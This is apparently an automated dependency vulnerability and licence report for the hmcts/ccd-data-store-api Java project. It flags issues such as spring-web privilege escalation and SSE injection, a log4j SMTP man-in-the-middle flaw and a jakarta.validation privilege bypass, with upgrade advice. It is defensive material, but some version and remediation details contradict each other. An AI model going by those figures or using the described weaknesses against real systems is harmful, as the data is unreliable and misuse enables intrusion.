Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.cloud:spring-cloud-starter-openfeign@5.1.0-RC1 › org.springframework.cloud:spring-cloud-openfeign-core@5.1.0-RC1 › io.github.openfeign:feign-form-spring@13.17 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security@4.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-security@4.2.0-RC1 › org.springframework.boot:spring-boot-security@4.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-jose@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-RC1 › org.springframework.boot:spring-boot-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
Overview
org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.
Affected versions of this package are vulnerable to Privilege Escalation. By recreating the temporary storage directory, a locally authenticated malicious user can read or modify files that have been uploaded to the WebFlux application, or overwrite arbitrary files with multipart request data.
Remediation
Upgrade org.springframework:spring-web to version 5.3.7, 5.2.15.RELEASE or higher.
References
medium severity
- Module: com.github.spotbugs:spotbugs-annotations
- Introduced through: com.github.spotbugs:spotbugs-annotations@4.0.0
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › com.github.spotbugs:spotbugs-annotations@4.0.0
LGPL-2.1 license
medium severity
- Module: com.google.code.findbugs:annotations
- Introduced through: com.google.code.findbugs:annotations@3.0.0
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › com.google.code.findbugs:annotations@3.0.0
LGPL-2.0 license
medium severity
- Module: junit:junit
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › junit:junit@4.12
EPL-1.0 license
medium severity
- Module: org.hibernate.orm:hibernate-core
- Introduced through: org.hibernate.orm:hibernate-core@6.6.58.Final and org.springframework.boot:spring-boot-starter-data-jpa@4.2.0-RC1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.hibernate.orm:hibernate-core@6.6.58.Final
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-data-jpa@4.2.0-RC1 › org.springframework.boot:spring-boot-data-jpa@4.2.0-RC1 › org.springframework.boot:spring-boot-hibernate@4.2.0-RC1 › org.hibernate.orm:hibernate-core@6.6.58.Final
LGPL-2.1 license
low severity
- Vulnerable module: org.apache.logging.log4j:log4j-core
- Introduced through: org.elasticsearch:elasticsearch@9.5.5 and io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to org.elasticsearch:elasticsearch@9.5.5.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7
Overview
org.apache.logging.log4j:log4j-core is a logging library for Java.
Affected versions of this package are vulnerable to Man-in-the-Middle (MitM). Improper validation of certificate with host mismatch in Apache Log4j SMTP appender. This could allow an SMTPS connection to be intercepted by a man-in-the-middle attack which could leak any log messages sent through that appender.
Remediation
Upgrade org.apache.logging.log4j:log4j-core to version 2.13.2 or higher.
References
low severity
- Vulnerable module: junit:junit
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › junit:junit@4.12Remediation: Upgrade to io.searchbox:jest@6.3.1.
Overview
junit:junit is an unit testing framework for Java
Affected versions of this package are vulnerable to Information Exposure. The JUnit4 test rule TemporaryFolder contains a local information disclosure vulnerability. On Unix like systems, the system's temporary directory is shared between all users on that system. Because of this, when files and directories are written into this directory they are, by default, readable by other users on that same system.
Note: This vulnerability does not allow other users to overwrite the contents of these directories or files. This only affects Unix like systems.
Remediation
Upgrade junit:junit to version 4.13.1 or higher.
References
low severity
- Vulnerable module: org.springframework:spring-web
- Introduced through: io.github.openfeign.form:feign-form-spring@3.8.0, org.springframework.security:spring-security-web@7.2.0-RC1 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.github.openfeign.form:feign-form-spring@3.8.0 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.cloud:spring-cloud-starter-openfeign@5.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.hateoas:spring-hateoas@3.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-client@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-jose@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-client@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-http-converter@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springdoc:springdoc-openapi-starter-webmvc-ui@2.9.1 › org.springdoc:springdoc-openapi-starter-webmvc-api@2.9.1 › org.springframework:spring-webmvc@7.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework:spring-webmvc@7.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework.boot:spring-boot-http-converter@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework.boot:spring-boot-servlet@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.cloud:spring-cloud-starter-openfeign@5.1.0-RC1 › org.springframework.cloud:spring-cloud-openfeign-core@5.1.0-RC1 › io.github.openfeign:feign-form-spring@13.17 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security@4.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-security@4.2.0-RC1 › org.springframework.boot:spring-boot-security@4.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-jose@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-RC1 › org.springframework.boot:spring-boot-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
Overview
org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.
Affected versions of this package are vulnerable to Improper Handling of Case Sensitivity due to String.toLowerCase() having some Locale dependent exceptions that could potentially result in fields not protected as expected.
Note:
The fix for CVE-2022-22968 made disallowedFields patterns in DataBinder case insensitive.
This vulnerability was also fixed in commercial versions 5.3.41 and 6.0.25.
Remediation
Upgrade org.springframework:spring-web to version 6.1.14 or higher.
References
low severity
- Vulnerable module: org.springframework:spring-web
- Introduced through: io.github.openfeign.form:feign-form-spring@3.8.0, org.springframework.security:spring-security-web@7.2.0-RC1 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.github.openfeign.form:feign-form-spring@3.8.0 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.cloud:spring-cloud-starter-openfeign@5.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.hateoas:spring-hateoas@3.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-client@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-jose@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-client@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-http-converter@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springdoc:springdoc-openapi-starter-webmvc-ui@2.9.1 › org.springdoc:springdoc-openapi-starter-webmvc-api@2.9.1 › org.springframework:spring-webmvc@7.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework:spring-webmvc@7.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework.boot:spring-boot-http-converter@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework.boot:spring-boot-servlet@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.cloud:spring-cloud-starter-openfeign@5.1.0-RC1 › org.springframework.cloud:spring-cloud-openfeign-core@5.1.0-RC1 › io.github.openfeign:feign-form-spring@13.17 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security@4.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-security@4.2.0-RC1 › org.springframework.boot:spring-boot-security@4.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-jose@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-RC1 › org.springframework.boot:spring-boot-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
Overview
org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.
Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'). The vulnerability exists in the handling of Server-Sent Events (SSE) when streaming plain text data. An attacker can inject crafted data into the event stream, breaking message boundaries and corrupting the stream delivered to other clients. By controlling streamed content, an attacker can manipulate how subsequent events are parsed by the client, potentially altering application state or injecting misleading data.
Note:
This is only exploitable if the application streams attacker-controlled data via SSE using unstructured/plain-text messages instead of a structured format (e.g., JSON).
Remediation
Upgrade org.springframework:spring-web to version 6.2.17, 7.0.6 or higher.
References
low severity
new
- Vulnerable module: jakarta.validation:jakarta.validation-api
- Introduced through: jakarta.validation:jakarta.validation-api@3.1.1, org.springframework.boot:spring-boot-starter-validation@4.2.0-RC1 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › jakarta.validation:jakarta.validation-api@3.1.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-validation@4.2.0-RC1 › org.springframework.boot:spring-boot-validation@4.2.0-RC1 › org.hibernate.validator:hibernate-validator@9.1.5.Final › jakarta.validation:jakarta.validation-api@3.1.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springdoc:springdoc-openapi-starter-webmvc-ui@2.9.1 › org.springdoc:springdoc-openapi-starter-webmvc-api@2.9.1 › org.springdoc:springdoc-openapi-starter-common@2.9.1 › io.swagger.core.v3:swagger-core-jakarta@2.2.55 › jakarta.validation:jakarta.validation-api@3.1.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springdoc:springdoc-openapi-starter-webmvc-ui@2.9.1 › org.springdoc:springdoc-openapi-starter-webmvc-api@2.9.1 › org.springdoc:springdoc-openapi-starter-common@2.9.1 › org.springframework.boot:spring-boot-starter-validation@4.2.0-RC1 › org.springframework.boot:spring-boot-validation@4.2.0-RC1 › org.hibernate.validator:hibernate-validator@9.1.5.Final › jakarta.validation:jakarta.validation-api@3.1.1
Overview
Affected versions of this package are vulnerable to Improper Validation of Specified Type of Input in the run method of the ProviderSpecificBootstrapImpl class in Validation.java, which passes a caller influenced action to the single argument form of AccessController.doPrivileged, dropping the calling thread's restricted ProtectionDomain from the access control stack. Code running in a restricted domain can execute an arbitrary class's no-arg constructor under the library's broader permissions by passing any Class object to Validation.byProvider through a raw or unchecked cast, since the generic bound is erased and NewProviderInstance.run reaches clazz.newInstance before the cast to ValidationProvider is attempted. Exploitation requires a JVM running with a SecurityManager, a code source for the library granted more permissions than the caller, the ability to run code in process, and a reachable class in a privileged domain whose public no-arg constructor performs a security checked side effect, and the gadget's own ProtectionDomain stays on the stack so a self defined class yields nothing.
Note: Only deployments on JDK releases before 24 are affected. The run helper elevates privilege only when System.getSecurityManager() returns non-null, and JEP 486 permanently disabled the Security Manager in JDK 24.
Remediation
Upgrade jakarta.validation:jakarta.validation-api to version 4.0.0-M1 or higher.
References
low severity
new
- Vulnerable module: org.objenesis:objenesis
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-buffer@4.1.16.Final › org.mockito:mockito-core@2.7.2 › org.objenesis:objenesis@2.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec@4.1.16.Final › org.mockito:mockito-core@2.7.2 › org.objenesis:objenesis@2.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec-http@4.1.16.Final › org.mockito:mockito-core@2.7.2 › org.objenesis:objenesis@2.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-handler@4.1.16.Final › org.mockito:mockito-core@2.7.2 › org.objenesis:objenesis@2.5
Overview
Affected versions of this package are vulnerable to Symbolic Name not Mapping to Correct Object through the getInstantiatorOf process. An attacker can cause objects from one class loader to be substituted into another by exploiting instantiator caching keyed on class name, potentially leading to unexpected behavior, data corruption, or application crashes by introducing wrong-class objects.
Remediation
Upgrade org.objenesis:objenesis to version 3.6 or higher.